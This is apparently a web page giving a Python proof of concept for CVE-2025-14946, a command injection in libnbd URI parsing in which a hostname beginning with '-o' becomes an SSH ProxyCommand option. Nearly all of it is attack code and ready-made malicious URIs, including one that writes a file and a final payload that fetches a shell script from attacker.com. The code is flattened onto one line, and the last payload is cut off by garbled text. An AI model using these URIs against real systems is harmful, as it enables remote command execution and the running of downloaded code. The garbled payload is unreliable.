CVE-2025-14946 libnbd URI处理远程代码执行漏洞

# CVE-2025-14946 PoC - libnbd URI处理命令注入 # 构造恶意URI触发SSH选项注入 import subprocess import sys # 恶意URI示例 - 主机名以'-o'开头注入SSH选项 malicious_uri = "nbd://-oProxyCommand=id>/tmp/pwned localhost" print(f"[*] CVE-2025-14946 PoC") print(f"[*] Malicious URI: {malicious_uri}") print(f"[*] This URI exploits the SSH option injection in libnbd") print() # 模拟libnbd的URI解析和SSH命令构建过程 # 实际攻击时需要使用libnbd的nbd_get_error()或类似API def simulate_libnbd_uri_parsing(uri): """ Simulate how libnbd parses URI and builds SSH command. The vulnerability is that hostnames starting with '-o' are passed directly to SSH as options instead of being treated as hostname. """ print(f"[+] Parsing URI: {uri}") # Simplified parsing - in reality uses libxml2 if uri.startswith("nbd://"): host_part = uri[6:].split('/')[0] print(f"[+] Extracted host: {host_part}") # VULNERABLE: No validation of host starting with '-' if host_part.startswith('-o'): print(f"[!] WARNING: Host starts with '-o' - will be interpreted as SSH option!") # Simulating SSH command construction ssh_cmd = ['ssh', host_part, 'nbd-server-read-only'] print(f"[+] Constructed SSH command: {' '.join(ssh_cmd)}") print(f"[!] The '-oProxyCommand=...' will be treated as SSH option!") return ssh_cmd return None # 执行PoC ssh_cmd = simulate_libnbd_uri_parsing(malicious_uri) if ssh_cmd: print() print("[*] To exploit, attacker would run:") print(f"[*] nbdkit -r nbd {malicious_uri}") print("[*] Or use libnbd API to connect to this malicious URI") print() print("[+] Example: nbd://-oProxyCommand=curl${IFS}attacker.com/shell.sh|[email protected]/")